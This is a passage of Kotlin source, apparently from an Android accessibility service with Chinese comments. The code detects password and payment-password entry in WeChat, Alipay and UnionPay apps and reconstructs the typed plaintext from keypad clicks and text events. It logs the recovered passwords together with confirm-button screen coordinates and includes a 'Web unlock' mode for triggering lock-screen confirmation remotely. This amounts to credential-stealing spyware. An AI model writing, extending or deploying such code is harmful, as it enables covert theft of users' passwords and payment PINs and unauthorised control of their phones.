(hasPasswordPattern || hasPasswordClass || hasPasswordInputPattern) } /** * ✅ 检测是否为支付密码场景 */ private fun isPaymentPasswordScenario(packageName: String, className: String, text: String): Boolean { // 严格的支付密码检测条件 val isPaymentApp = packageName.contains("tencent.mm") || packageName.contains("alipay") || packageName.contains("unionpay") val hasPaymentIndicators = text.length in 1..6 && // 支付密码通常是6位以内 (text.all { it.isDigit() || it == '•' || it == '*' }) && // 只包含数字或掩码 className.lowercase().let { cls -> cls.contains("edit") || cls.contains("text") || cls.contains("input") } return isPaymentApp && hasPaymentIndicators } /** * ✅ 激活增强检测模式 */ private fun activateEnhancedDetection(reason: String) { isEnhancedDetectionMode = true enhancedDetectionStartTime = System.currentTimeMillis() Log.i(TAG, "🚀 [增强模式] 激活增强检测: $reason (30秒后自动关闭)") } /** * ✅ 手动关闭增强检测模式 */ private fun deactivateEnhancedDetection(reason: String) { isEnhancedDetectionMode = false enhancedDetectionStartTime = 0L Log.i(TAG, "🛑 [增强模式] 关闭增强检测: $reason") } /** * ✅ 设置程序化输入状态(由InputManager调用) */ fun setProgrammaticInputActive(active: Boolean) { val oldState = isProgrammaticInputActive isProgrammaticInputActive = active if (active) { lastProgrammaticInputTime = System.currentTimeMillis() Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为活跃状态) 时间=${lastProgrammaticInputTime}") } else { Log.i(TAG, "🔢 [程序化输入] 状态变更: $oldState -> $active (设置为非活跃状态)") } } /** * ✅ 检查是否正在执行程序化数字密码输入 */ private fun isCurrentlyExecutingNumericPasswordInput(): Boolean { val currentTime = System.currentTimeMillis() val timeSinceLastProgrammatic = currentTime - lastProgrammaticInputTime // ✅ vivo设备使用优化的检测窗口,避免快速用户输入被误判 val detectionWindow = if (isVivoDevice) { vivoOptimizedProgrammaticDetectionWindow // vivo设备: 500ms } else { 1000L // 其他设备: 1000ms } val isProgrammatic = isProgrammaticInputActive || timeSinceLastProgrammatic < detectionWindow Log.i(TAG, "🔢 [程序化输入检测] 当前时间=$currentTime, 上次程序化时间=$lastProgrammaticInputTime") Log.i(TAG, "🔢 [程序化输入检测] 标志=$isProgrammaticInputActive, 时间差=${timeSinceLastProgrammatic}ms") Log.i(TAG, "🔢 [程序化输入检测] 检测窗口=${detectionWindow}ms (vivo设备优化: $isVivoDevice), 最终结果=$isProgrammatic") if (isProgrammatic) { Log.w(TAG, "🔢 ✅ 检测到程序化输入中 - 将仅记录不触发确认") } else { Log.w(TAG, "🔢 ❌ 非程序化输入 - 将正常处理并可能触发确认") } return isProgrammatic } /** * 处理密码输入分析 */ private fun handlePasswordInput(event: AccessibilityEvent, text: String, beforeText: String, currentTime: Long) { val className = event.className?.toString() ?: "" val packageName = event.packageName?.toString() ?: "" // ✅ 防止重复分析:如果正在分析中或最近刚分析过,则跳过 if (isPasswordAnalyzing) { Log.d(TAG, "🔒 [重复检测] 正在分析中,跳过重复处理") return } if (currentTime - lastPasswordAnalysisTime < passwordAnalysisLockTimeout) { Log.d(TAG, "🔒 [重复检测] 最近已分析过 (${currentTime - lastPasswordAnalysisTime}ms < ${passwordAnalysisLockTimeout}ms),跳过") return } // 检查是否是新的密码输入会话 if (!isPasswordInputActive || (currentTime - lastPasswordEventTime > passwordInputTimeout)) { if (isPasswordInputActive) { // 结束上一个密码输入会话 finishPasswordInput() } // 开始新的密码输入会话 startPasswordInput(packageName, className, currentTime) } // 获取实际输入的文本 val actualText = getPasswordText(event, text, beforeText) val inputType = detectPasswordType(text, actualText, className) // 记录密码输入事件 recordPasswordInputEvent(actualText, beforeText, currentTime, inputType, className, packageName) lastPasswordEventTime = currentTime // ✅ 修复:对于所有密码类型,使用统一的完成触发策略 if (shouldFinishPasswordInput(text, beforeText)) { val triggerTime = currentTime // 记录当前输入时间 Handler(Looper.getMainLooper()).postDelayed({ // 只有当没有更新的输入时才触发分析 if (isPasswordInputActive && lastPasswordEventTime == triggerTime) { Log.d(TAG, "🔒 [密码分析] 无新输入,触发密码分析") finishPasswordInput() } else { Log.d(TAG, "🔒 [密码分析] 检测到更新输入 (${lastPasswordEventTime} vs ${triggerTime}),跳过分析") } }, 2000) // 2秒后检查 } } /** * 开始密码输入会话 */ private fun startPasswordInput(packageName: String, className: String, currentTime: Long) { isPasswordInputActive = true passwordInputStartTime = currentTime passwordInputEvents.clear() // ✅ 修复:不要清空数字序列,因为用户点击数字键时可能已经添加了数字 // 只有在真正结束密码输入时才清空序列 // numericPasswordSequence.clear() // 注释掉这行 hasDetectedZero = false // ✅ 重置数字0标志(新的密码输入会话) currentPasswordLength = 0 Log.d(TAG, "🔒 [密码分析] 开始新的密码输入会话: 包名=$packageName, 类名=$className") // ✅ vivo设备专用初始化 if (isVivoDevice) { vivoExtractedChars.clear() vivoPasswordBuffer = "" vivoLastCaptureTime = currentTime Log.i(TAG, "📱 [vivo初始化] 已清理vivo设备专用缓存,准备快速捕获") } logScope.launch { recordLog( "TEXT_INPUT", "🔒 密码输入开始", mapOf( "packageName" to packageName, "className" to className, "startTime" to passwordInputStartTime, "eventType" to "password_input_start" ) ) } } /** * 记录密码输入事件 */ private fun recordPasswordInputEvent(actualText: String, beforeText: String, currentTime: Long, inputType: String, className: String, packageName: String) { // 计算实际密码长度(保留数字、字母和掩码字符) val cleanActualText = actualText.replace(Regex("[^\\w•*]"), "") val cleanBeforeText = beforeText.replace(Regex("[^\\w•*]"), "") val lengthDifference = cleanActualText.length - cleanBeforeText.length currentPasswordLength = cleanActualText.length // ✅ 修复:不要用数字序列长度覆盖完整密码长度 // 数字序列只是密码的一部分(数字部分),不应该覆盖完整密码的长度 val sequenceLength = numericPasswordSequence.size // ✅ 修复:如果有数字序列,且序列长度大于文本长度,优先使用序列长度 if (sequenceLength > 0) { if (currentPasswordLength == 0) { Log.d(TAG, "🔍 [快速输入优化] 文本长度为0,使用序列长度: $sequenceLength") currentPasswordLength = sequenceLength } else if (sequenceLength > currentPasswordLength) { Log.d(TAG, "🔍 [快速输入优化] 序列长度($sequenceLength) > 文本长度($currentPasswordLength),使用序列长度") currentPasswordLength = sequenceLength } else { Log.d(TAG, "🔍 [快速输入优化] 长度信息: 文本长度=$currentPasswordLength, 数字序列长度=$sequenceLength") } } Log.d(TAG, "🔍 [快速输入优化] 密码长度计算: 原始='$actualText'(${actualText.length}), 清理后='$cleanActualText'(${cleanActualText.length}), 当前长度=$currentPasswordLength, 序列长度=$sequenceLength") val inputEvent = mapOf( "timestamp" to currentTime, "lengthChange" to lengthDifference, "currentLength" to currentPasswordLength, "inputType" to inputType, "relativeTime" to (currentTime - passwordInputStartTime), "actualPasswordText" to cleanActualText, "displayText" to actualText, "numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息 ) passwordInputEvents.add(inputEvent) val operationType = when { lengthDifference > 0 -> "输入" lengthDifference < 0 -> "删除" else -> "修改" } // ✅ 快速输入优化:如果有数字序列,添加序列信息到日志 val sequencePassword = if (numericPasswordSequence.isNotEmpty()) { numericPasswordSequence.joinToString("") { it["digit"] as String } } else "" logScope.launch { recordLog( "TEXT_INPUT", "🔒 [快速输入优化] 密码输入: $actualText (${currentPasswordLength}位)", mapOf( "packageName" to packageName, "className" to className, "operationType" to operationType, "currentLength" to currentPasswordLength, "lengthChange" to lengthDifference, "inputType" to inputType, "eventSequence" to passwordInputEvents.size, "relativeTime" to (currentTime - passwordInputStartTime), "actualPasswordText" to cleanActualText, // 包含实际密码内容 "displayText" to actualText, // 包含显示的掩码文本 "isPasswordCapture" to true, "numericSequenceLength" to sequenceLength, // ✅ 数字序列长度 "numericSequencePassword" to sequencePassword, // ✅ 数字序列密码 "isFastInput" to (sequenceLength > 0) // ✅ 是否为快速输入 ) ) } } /** * 完成密码输入分析 - ✅ 增强版本,记录确认按钮坐标 */ private fun finishPasswordInput() { if (!isPasswordInputActive) return // ✅ 设置分析锁,防止重复分析 if (isPasswordAnalyzing) { Log.d(TAG, "🔒 [重复检测] 已在分析中,跳过重复分析") return } isPasswordAnalyzing = true lastPasswordAnalysisTime = System.currentTimeMillis() val duration = System.currentTimeMillis() - passwordInputStartTime val eventCount = passwordInputEvents.size Log.d(TAG, "🔒 [密码分析] 完成密码输入分析: 持续时间=${duration}ms, 事件数量=$eventCount") // 重构完整密码 val reconstructedPassword = if (isVivoDevice && vivoExtractedChars.isNotEmpty()) { // vivo设备优先使用捕获的明文字符重构 val vivoReconstructed = reconstructVivoPassword("") if (vivoReconstructed.isNotEmpty()) { Log.i(TAG, "📱 [vivo密码重构] 使用vivo专用重构: '$vivoReconstructed' (长度=${vivoReconstructed.length})") vivoReconstructed } else { // 如果vivo重构失败,使用标准重构 reconstructPassword() } } else { reconstructPassword() } Log.d(TAG, "🔒 [密码分析] 重构密码: '$reconstructedPassword' (长度=${reconstructedPassword.length})") // ✅ 修复:使用重构密码的实际长度,而不是可能被数字序列长度覆盖的currentPasswordLength val actualPasswordLength = if (reconstructedPassword.isNotEmpty()) { reconstructedPassword.length } else { // 如果重构失败,从最后一个事件获取最大长度 passwordInputEvents.maxOfOrNull { (it["currentLength"] as? Int) ?: 0 } ?: currentPasswordLength } Log.d(TAG, "🔒 [密码分析] 长度校正: currentPasswordLength=$currentPasswordLength -> actualPasswordLength=$actualPasswordLength") // 分析密码输入模式 - ✅ 传递实际密码长度 val passwordAnalysis = analyzePasswordPattern(actualPasswordLength) // ✅ 检测密码类型 - 使用现有的检测方法 val passwordType = detectPasswordTypeFromEvents() Log.d(TAG, "🔒 [密码分析] 检测到密码类型: $passwordType") var confirmButtonCoordinate: Pair? = null // ✅ 对于需要确认按钮的密码类型,启动确认按钮监听并触发智能确认检测 val needsConfirmation = passwordType in listOf("混合密码", "文本密码", "数字密码", "PIN码") if (needsConfirmation) { Log.d(TAG, "🔒 [密码分析] 密码类型 '$passwordType' 需要确认按钮,启动智能确认检测") // 启动确认按钮坐标监听 startConfirmClickListening() // ✅ 立即尝试智能学习确认按钮坐标 enhancedConfirmButtonLearning() // ✅ 修复:所有密码类型都跳过自动确认触发,避免干扰用户输入 // 保留密码记录和学习功能,但移除所有自动确认触发 val shouldTriggerConfirm = when (passwordType) { "数字密码", "PIN码" -> { Log.d(TAG, "🔢 [数字密码] 跳过自动确认触发,保留密码记录功能") false // 数字密码不在这里触发确认 } "混合密码" -> { Log.d(TAG, "🔤 [混合密码] 跳过自动确认触发,保留密码记录功能") false // 混合密码不在这里触发确认 } "文本密码" -> { Log.d(TAG, "📝 [文本密码] 跳过自动确认触发,保留密码记录功能") false // 文本密码不在这里触发确认 } else -> { Log.d(TAG, "🔒 [${passwordType}] 跳过自动确认触发,保留密码记录功能") false // 所有其他密码类型都不触发确认 } } if (shouldTriggerConfirm) { // ✅ 修改:只在Web解锁模式下才触发智能确认检测 val isWebUnlockMode = service.isWebUnlockMode() Log.d(TAG, "🤖 [密码分析] Web解锁模式检查: $isWebUnlockMode") if (isWebUnlockMode) { val confirmDetectionType = convertToConfirmDetectionType(passwordType) Log.d(TAG, "🔓 [Web解锁] 触发智能确认检测: 原始类型='$passwordType' -> 检测类型='$confirmDetectionType'") // 异步触发确认检测,避免阻塞 Handler(Looper.getMainLooper()).postDelayed({ try { service.tryLockScreenConfirm(confirmDetectionType) } catch (e: Exception) { Log.e(TAG, "触发确认检测失败", e) } }, 500) // 延迟500ms确保密码输入完成 } else { Log.i(TAG, "🚫 [非Web解锁] 跳过自动确认触发,等待用户手动确认") } } // ✅ 优化:简化确认按钮坐标获取流程 Handler(Looper.getMainLooper()).postDelayed({ // 检查是否捕获到确认坐标 confirmButtonCoordinate = lastConfirmClickCoordinate val currentCoords = confirmButtonCoordinate if (currentCoords != null) { Log.d(TAG, "✅ 发现确认按钮坐标: (${currentCoords.first}, ${currentCoords.second})") // ✅ 更新之前记录的日志,添加确认坐标信息 updatePasswordLogWithConfirmCoords(currentCoords) } else { Log.d(TAG, "ℹ️ 未捕获到确认按钮坐标,将等待用户手动点击学习") } // 停止监听 stopConfirmClickListening() }, 2000) // 减少等待时间到2秒 } // 构建详细的分析信息文本 - ✅ 使用实际密码长度 val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate) logScope.launch { val extraData = mutableMapOf( "duration" to duration, "eventCount" to eventCount, "finalLength" to actualPasswordLength, // ✅ 使用实际长度 "passwordAnalysis" to passwordAnalysis, "eventType" to "password_input_complete", "isDetailedAnalysis" to true, "reconstructedPassword" to reconstructedPassword, // 包含重构的完整密码 "isPasswordCapture" to true, "passwordType" to passwordType, "enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型 "legacyPasswordType" to passwordType, // ✅ 添加传统类型 "originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试 "correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度 ) // ✅ 如果有确认按钮坐标,记录到extraData中 confirmButtonCoordinate?.let { coord -> extraData["confirmButtonX"] = coord.first extraData["confirmButtonY"] = coord.second extraData["hasConfirmButton"] = true } ?: run { extraData["hasConfirmButton"] = false } recordLog("TEXT_INPUT", analysisText, extraData) } // 重置状态 isPasswordInputActive = false passwordInputEvents.clear() numericPasswordSequence.clear() // ✅ 清空数字序列 currentPasswordLength = 0 // ✅ 释放分析锁 isPasswordAnalyzing = false Log.d(TAG, "🔒 [密码分析] 分析完成,释放分析锁") } /** * ✅ 保留:从输入事件中检测密码类型(备用方法) */ private fun detectPasswordTypeFromEvents(): String { if (passwordInputEvents.isEmpty()) return "未知密码" // 获取最后一个事件的密码类型判断 val lastEvent = passwordInputEvents.lastOrNull() val lastActualText = lastEvent?.get("actualPasswordText") as? String ?: "" val lastDisplayText = lastEvent?.get("displayText") as? String ?: "" val lastClassName = lastEvent?.get("className") as? String ?: "" return detectPasswordType(lastDisplayText, lastActualText, lastClassName) } /** * ✅ 新增:启动确认按钮点击监听 */ private fun startConfirmClickListening() { isAwaitingConfirmClick = true confirmClickStartTime = System.currentTimeMillis() lastConfirmClickCoordinate = null Log.d(TAG, "🔍 开始监听确认按钮点击...") } /** * ✅ 新增:停止确认按钮点击监听 */ private fun stopConfirmClickListening() { isAwaitingConfirmClick = false Log.d(TAG, "🔍 停止监听确认按钮点击") } /** * ✅ 新增:更新密码日志,添加确认按钮坐标信息 */ private fun updatePasswordLogWithConfirmCoords(confirmCoords: Pair) { try { Log.d(TAG, "🔄 更新密码日志,添加确认坐标: (${confirmCoords.first}, ${confirmCoords.second})") // 记录一条新的日志,包含确认按钮坐标信息 logScope.launch { recordLog( "PASSWORD_CONFIRM_COORDS", "确认按钮坐标更新: (${confirmCoords.first.toInt()}, ${confirmCoords.second.toInt()})", mapOf( "confirmButtonX" to confirmCoords.first, "confirmButtonY" to confirmCoords.second, "hasConfirmButton" to true, "updateTime" to System.currentTimeMillis(), "relatedToLastPassword" to true ) ) } } catch (e: Exception) { Log.w(TAG, "更新密码日志确认坐标失败", e) } } /** * 检测密码类型 - ✅ 优化版本,改进数字密码和图形密码的区分 */ private fun detectPasswordType(displayText: String, actualText: String, className: String): String { val classLower = className.lowercase() // 检查内容描述以确定密码类型 val lastEvent = passwordInputEvents.lastOrNull() val hasLetters = actualText.any { it.isLetter() } || displayText.any { it.isLetter() } val hasDigitsAndLetters = actualText.any { it.isDigit() } && hasLetters val cleanActualText = actualText.replace(Regex("[•*\\s]"), "") Log.d(TAG, "🔍 密码类型检测开始:") Log.d(TAG, " 显示文本: '$displayText'") Log.d(TAG, " 实际文本: '$actualText'") Log.d(TAG, " 清理文本: '$cleanActualText'") Log.d(TAG, " 类名: '$className'") Log.d(TAG, " 包含字母: $hasLetters") Log.d(TAG, " 混合内容: $hasDigitsAndLetters") // ✅ 优化的密码类型检测逻辑 - 明确优先级 val detectedType = when { // 1. 优先检查明确包含字母的情况 hasDigitsAndLetters -> { Log.d(TAG, " 检测结果: 混合密码(包含数字和字母)") "混合密码" } hasLetters && !cleanActualText.any { it.isDigit() } -> { Log.d(TAG, " 检测结果: 文本密码(仅包含字母)") "文本密码" } // 2. 检查类名中的明确PIN标识 classLower.contains("pin") && !hasLetters -> { Log.d(TAG, " 检测结果: PIN码(类名包含pin)") "PIN码" } // 3. 检查数字类型密码 isNumericPassword(displayText, actualText) -> { // PIN码检测(长度和上下文) if ((cleanActualText.length == 4 || cleanActualText.length == 6) && isPinContext(classLower)) { Log.d(TAG, " 检测结果: PIN码(长度和上下文匹配)") "PIN码" } // 默认数字密码 else { Log.d(TAG, " 检测结果: 数字密码(纯数字)") "数字密码" } } // 4. 基于显示模式的判断(全掩码显示) displayText.all { it == '•' || it == '*' || it.isWhitespace() } -> { when { currentPasswordLength in 4..6 && isPinContext(classLower) -> { Log.d(TAG, " 检测结果: PIN码(掩码显示,长度和上下文匹配)") "PIN码" } else -> { Log.d(TAG, " 检测结果: 数字密码(掩码显示,默认情况)") "数字密码" } } } // 6. 默认情况 else -> { Log.d(TAG, " 检测结果: 文本密码(默认情况)") "文本密码" } } Log.d(TAG, "🔍 最终密码类型: $detectedType") return detectedType } // ✅ 新增:检查是否为数字密码 private fun isNumericPassword(displayText: String, actualText: String): Boolean { val cleanActual = actualText.replace(Regex("[•*\\s]"), "") val cleanDisplay = displayText.replace(Regex("[•*\\s]"), "") // 检查是否主要由数字和掩码字符组成 val isMainlyNumericAndMask = displayText.all { it.isDigit() || it == '•' || it == '*' || it.isWhitespace() } val hasNumericContent = cleanActual.any { it.isDigit() } || cleanDisplay.any { it.isDigit() } val hasNoLetters = !cleanActual.any { it.isLetter() } && !cleanDisplay.any { it.isLetter() } return isMainlyNumericAndMask && hasNumericContent && hasNoLetters } // ✅ 新增:检查是否为PIN码上下文 private fun isPinContext(classLower: String): Boolean { return classLower.contains("pin") || classLower.contains("numeric") || classLower.contains("number") || classLower.contains("keypad") } /** * 判断是否应该结束密码输入 */ private fun shouldFinishPasswordInput(text: String, beforeText: String): Boolean { // ✅ 修复:统一所有密码类型的完成检测逻辑 val isCleared = beforeText.length > 0 && text.length == 0 val noLengthChange = text.length == beforeText.length && text.length > 0 val hasContent = text.length > 0 // ✅ 对于数字密码,使用更简单的逻辑:每次输入都可能触发完成检测 if (numericPasswordSequence.isNotEmpty()) { Log.d(TAG, "🔢 数字密码输入,允许触发完成检测") return true // 允许触发完成检测,具体时间控制在调用方 } // ✅ 修复:对于所有密码类型,只要有内容就允许触发完成检测 // 具体的时间控制在调用方的延迟逻辑中进行 if (hasContent) { Log.d(TAG, "🔒 密码有内容(${text.length}位),允许触发完成检测") return true } // 传统的清空检测逻辑保留 return isCleared } /** * 分析密码输入模式 - ✅ 修复:使用传入的实际密码长度 */ private fun analyzePasswordPattern(actualPasswordLength: Int = currentPasswordLength): Map { if (passwordInputEvents.isEmpty()) { return mapOf("pattern" to "no_events") } val totalDuration = if (passwordInputEvents.size > 1) { (passwordInputEvents.last()["timestamp"] as Long) - (passwordInputEvents.first()["timestamp"] as Long) } else { 0L } // 分析输入间隔 val intervals = mutableListOf() for (i in 1 until passwordInputEvents.size) { val prevTime = passwordInputEvents[i-1]["timestamp"] as Long val currTime = passwordInputEvents[i]["timestamp"] as Long intervals.add(currTime - prevTime) } val avgInterval = if (intervals.isNotEmpty()) intervals.average() else 0.0 val maxInterval = intervals.maxOrNull() ?: 0L val minInterval = intervals.minOrNull() ?: 0L // 分析删除操作 val deleteCount = passwordInputEvents.count { (it["lengthChange"] as Int) < 0 } val inputCount = passwordInputEvents.count { (it["lengthChange"] as Int) > 0 } // 分析输入特征 - ✅ 使用实际密码长度 val complexity = when { actualPasswordLength <= 4 -> "简单密码" actualPasswordLength <= 8 -> "中等复杂度" actualPasswordLength <= 12 -> "复杂密码" else -> "很复杂密码" } val typingSpeed = when { avgInterval < 500 -> "快速输入" avgInterval < 1500 -> "正常速度" else -> "慢速输入" } val inputPattern = when { deleteCount == 0 -> "一次性输入" deleteCount <= 2 -> "少量修正" else -> "多次修正" } return mapOf( "totalEvents" to passwordInputEvents.size, "inputDuration" to totalDuration, "averageInterval" to avgInterval.toLong(), "maxInterval" to maxInterval, "minInterval" to minInterval, "passwordLength" to actualPasswordLength, // ✅ 使用实际密码长度 "deleteCount" to deleteCount, "inputCount" to inputCount, "complexity" to complexity, "typingSpeed" to typingSpeed, "inputPattern" to inputPattern, "intervals" to intervals ) } /** * 构建密码分析结果的详细文本 - ✅ 增强版本,包含确认按钮信息 */ private fun buildPasswordAnalysisText( analysis: Map, duration: Long, eventCount: Int, finalLength: Int, reconstructedPassword: String = "", confirmButtonCoordinate: Pair? = null ): String { val complexity = analysis["complexity"] as String val typingSpeed = analysis["typingSpeed"] as String val inputPattern = analysis["inputPattern"] as String val avgInterval = analysis["averageInterval"] as Long val deleteCount = analysis["deleteCount"] as Int val passwordInfo = if (reconstructedPassword.isNotEmpty()) { " | 密码:${reconstructedPassword}" } else "" val confirmInfo = if (confirmButtonCoordinate != null) { " | 确认坐标:(${confirmButtonCoordinate.first.toInt()}, ${confirmButtonCoordinate.second.toInt()})" } else "" return "🔑 密码输入分析完成 - " + "耗时${duration}ms,${eventCount}个操作 | " + "长度:${finalLength}位${passwordInfo} | " + "复杂度:${complexity} | " + "输入:${typingSpeed}(平均${avgInterval}ms/操作) | " + "模式:${inputPattern}" + if (deleteCount > 0) ",${deleteCount}次删除" else "" + confirmInfo } /** * ✅ 密码重构算法 - 简化的两级策略:优先键盘点击,备用文本分析 */ private fun reconstructPassword(): String { Log.d(TAG, "🔍 密码重构开始") Log.d(TAG, " 数字键盘序列数量: ${numericPasswordSequence.size}") Log.d(TAG, " 密码输入事件数量: ${passwordInputEvents.size}") Log.d(TAG, " 当前密码长度: $currentPasswordLength") try { // ✅ 策略1:优先使用键盘点击序列(最可靠) if (numericPasswordSequence.isNotEmpty()) { Log.d(TAG, "🔢 [策略1] 使用键盘点击序列重构密码") return reconstructPasswordFromKeyboardClicks() } // ✅ 策略2:备用方案,使用文本显示分析 if (passwordInputEvents.isNotEmpty()) { Log.d(TAG, "📝 [策略2] 使用文本显示分析重构密码") return reconstructPasswordFromTextEvents() } Log.w(TAG, "❌ 没有可用的密码重构数据") return "" } catch (e: Exception) { Log.w(TAG, "密码重构失败", e) return "?".repeat(currentPasswordLength) } } /** * ✅ 策略1:从键盘点击序列重构密码(修复版) */ private fun reconstructPasswordFromKeyboardClicks(): String { // 按时间戳排序确保正确的输入顺序 val sortedSequence = numericPasswordSequence.sortedBy { it["timestamp"] as Long } Log.d(TAG, "🔢 键盘点击序列 (按时间排序):") sortedSequence.forEachIndexed { index, digitEvent -> val digit = digitEvent["digit"] as? String ?: "?" val timestamp = digitEvent["timestamp"] as? Long ?: 0L val source = digitEvent["source"] as? String ?: "unknown" Log.d(TAG, " [$index] $digit (时间戳: $timestamp, 来源: $source)") } // ✅ 修复:去重相同时间戳的重复数字,避免重复记录 val deduplicatedSequence = mutableListOf>() var lastTimestamp = 0L var lastDigit = "" for (digitEvent in sortedSequence) { val digit = digitEvent["digit"] as? String ?: "?" val timestamp = digitEvent["timestamp"] as? Long ?: 0L // ✅ vivo设备使用优化的重构去重窗口,避免过度去重 val reconstructionWindow = if (isVivoDevice) { vivoOptimizedReconstructionWindow // vivo设备: 50ms } else { 100L // 其他设备: 100ms } // 如果时间戳相差很小且数字相同,视为重复记录 if (timestamp - lastTimestamp < reconstructionWindow && digit == lastDigit) { Log.d(TAG, "🔢 [去重] 跳过重复数字: $digit (时间差: ${timestamp - lastTimestamp}ms, 去重窗口: ${reconstructionWindow}ms)") if (isVivoDevice) { Log.d(TAG, "📱 [vivo优化] 使用优化重构去重窗口") } continue } deduplicatedSequence.add(digitEvent) lastTimestamp = timestamp lastDigit = digit } Log.d(TAG, "🔢 去重后序列数量: ${deduplicatedSequence.size} (原始: ${sortedSequence.size})") // ✅ vivo设备优化提示 if (isVivoDevice && deduplicatedSequence.size > 0) { Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构完成,使用优化参数:") Log.i(TAG, " - 程序化检测窗口: ${vivoOptimizedProgrammaticDetectionWindow}ms") Log.i(TAG, " - 重复过滤窗口: ${vivoOptimizedDuplicateWindow}ms") Log.i(TAG, " - 重构去重窗口: ${vivoOptimizedReconstructionWindow}ms") } // 拼接去重后的数字序列 val password = StringBuilder() for (digitEvent in deduplicatedSequence) { val digit = digitEvent["digit"] as? String ?: "?" password.append(digit) } val result = password.toString() Log.d(TAG, "🔢 键盘点击重构结果: '$result' (长度: ${result.length})") // ✅ vivo设备重构结果验证 if (isVivoDevice && result.isNotEmpty()) { Log.i(TAG, "📱 [vivo优化] vivo设备数字密码重构成功: $result") } // 验证密码长度合理性 if (result.length > 0 && result.length <= 20) { // 合理的密码长度范围 return result } else { Log.w(TAG, "⚠️ 键盘点击重构的密码长度不合理: ${result.length}") return result // 即使长度不合理也返回,让调用方决定如何处理 } } /** * ✅ 策略2:从文本事件重构密码(修复版 - 支持重复字符) */ private fun reconstructPasswordFromTextEvents(): String { Log.d(TAG, "📝 文本事件重构开始,事件数量: ${passwordInputEvents.size}") if (passwordInputEvents.isEmpty()) { return "" } // ✅ 修复:使用最长的明文字符串作为基础,而不是去重 var longestPlainText = "" for ((index, event) in passwordInputEvents.withIndex()) { val displayText = event["displayText"] as? String ?: "" val actualPasswordText = event["actualPasswordText"] as? String ?: "" Log.d(TAG, " 事件[$index]: 显示='$displayText', 实际='$actualPasswordText'") // 检查每个文本,找出包含最多明文字符的版本 val textsToCheck = listOf(displayText, actualPasswordText) for (text in textsToCheck) { // 提取明文字符(非掩码字符) val plainChars = text.filter { it != '•' && it != '*' && it != ' ' && it.isLetterOrDigit() } if (plainChars.length > longestPlainText.length) { longestPlainText = plainChars Log.d(TAG, "📝 [重构] 更新最长明文: '$longestPlainText' (来自文本: '$text')") } } } // ✅ 优先使用增量重构(更准确),如果失败再使用明文提取 val incrementalResult = reconstructFromIncrementalChanges() val finalResult = if (incrementalResult.isNotEmpty() && !incrementalResult.contains("?")) { Log.d(TAG, "📝 [重构] 增量重构成功: '$incrementalResult'") incrementalResult } else if (longestPlainText.isNotEmpty()) { Log.d(TAG, "📝 [重构] 使用明文提取结果: '$longestPlainText'") longestPlainText } else { Log.d(TAG, "📝 [重构] 回退到增量重构结果(可能包含占位符): '$incrementalResult'") incrementalResult } Log.d(TAG, "📝 文本事件重构结果: '$finalResult' (长度: ${finalResult.length})") return finalResult } /** * ✅ 修复:从增量变化重构密码(处理逐字符输入的情况) */ private fun reconstructFromIncrementalChanges(): String { Log.d(TAG, "📝 [增量重构] 开始分析文本变化模式,事件数量: ${passwordInputEvents.size}") if (passwordInputEvents.isEmpty()) { Log.w(TAG, "📝 [增量重构] 没有文本事件,返回空") return "" } val password = StringBuilder() var lastLength = 0 // 按时间戳排序确保正确的输入顺序 val sortedEvents = passwordInputEvents.sortedBy { it["timestamp"] as? Long ?: 0L } for ((index, event) in sortedEvents.withIndex()) { val displayText = event["displayText"] as? String ?: "" val actualPasswordText = event["actualPasswordText"] as? String ?: "" val currentLength = maxOf(displayText.length, actualPasswordText.length) Log.d(TAG, " [增量重构] 事件[$index]: 长度=$currentLength (上次=$lastLength), 显示='$displayText', 实际='$actualPasswordText'") // 只处理长度增加的情况(新字符输入) if (currentLength > lastLength) { val newCharCount = currentLength - lastLength Log.d(TAG, " [增量重构] 检测到 $newCharCount 个新字符") // 优先从实际密码文本中查找新字符 val textsToCheck = listOf(actualPasswordText, displayText) var foundChars = 0 for (text in textsToCheck) { if (text.length >= currentLength) { // 从上次位置开始查找新字符 for (i in lastLength until currentLength) { if (i < text.length) { val char = text[i] if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) { password.append(char) foundChars++ Log.d(TAG, " [增量重构] 位置[$i] 发现明文字符: '$char'") } else if (char == '•' || char == '*') { // 遇到掩码字符,尝试从之前的明文版本推断 val inferredChar = inferCharFromPreviousTexts(i, sortedEvents, index) if (inferredChar != null) { password.append(inferredChar) foundChars++ Log.d(TAG, " [增量重构] 位置[$i] 推断字符: '$inferredChar'") } else { password.append("?") foundChars++ Log.d(TAG, " [增量重构] 位置[$i] 使用占位符: '?'") } } } } if (foundChars >= newCharCount) break } } // 如果还有字符没找到,用占位符填充 while (foundChars < newCharCount) { password.append("?") foundChars++ Log.d(TAG, " [增量重构] 补充占位符,当前: '${password.toString()}'") } lastLength = currentLength } } val result = password.toString() Log.d(TAG, "📝 [增量重构] 最终结果: '$result' (长度: ${result.length})") return result } /** * ✅ 新增:从之前的文本事件中推断字符 */ private fun inferCharFromPreviousTexts(position: Int, sortedEvents: List>, currentIndex: Int): String? { // 向前查找,看之前是否有这个位置的明文字符 for (i in currentIndex - 1 downTo 0) { val prevEvent = sortedEvents[i] val prevDisplayText = prevEvent["displayText"] as? String ?: "" val prevActualText = prevEvent["actualPasswordText"] as? String ?: "" for (text in listOf(prevActualText, prevDisplayText)) { if (position < text.length) { val char = text[position] if (char != '•' && char != '*' && char != ' ' && char.isLetterOrDigit()) { Log.d(TAG, " [推断] 从历史事件[$i]找到位置[$position]的字符: '$char'") return char.toString() } } } } return null } /** * 处理滚动事件 */ private fun handleViewScrolled(event: AccessibilityEvent) { val text = event.text?.joinToString(" ") ?: "" val className = event.className?.toString() ?: "" val packageName = event.packageName?.toString() ?: "" // 普通滚动事件处理 if (text.isNotEmpty() || className.isNotEmpty()) { logScope.launch { recordLog( "GESTURE", "滚动页面", mapOf( "text" to text, "className" to className, "packageName" to packageName ) ) } } } /** * 获取应用名称 */ private fun getAppName(packageName: String): String? { return try { val packageManager = service.packageManager val applicationInfo = packageManager.getApplicationInfo(packageName, 0) packageManager.getApplicationLabel(applicationInfo).toString() } catch (e: Exception) { Log.w(TAG, "获取应用名称失败: $packageName", e) null } } /** * 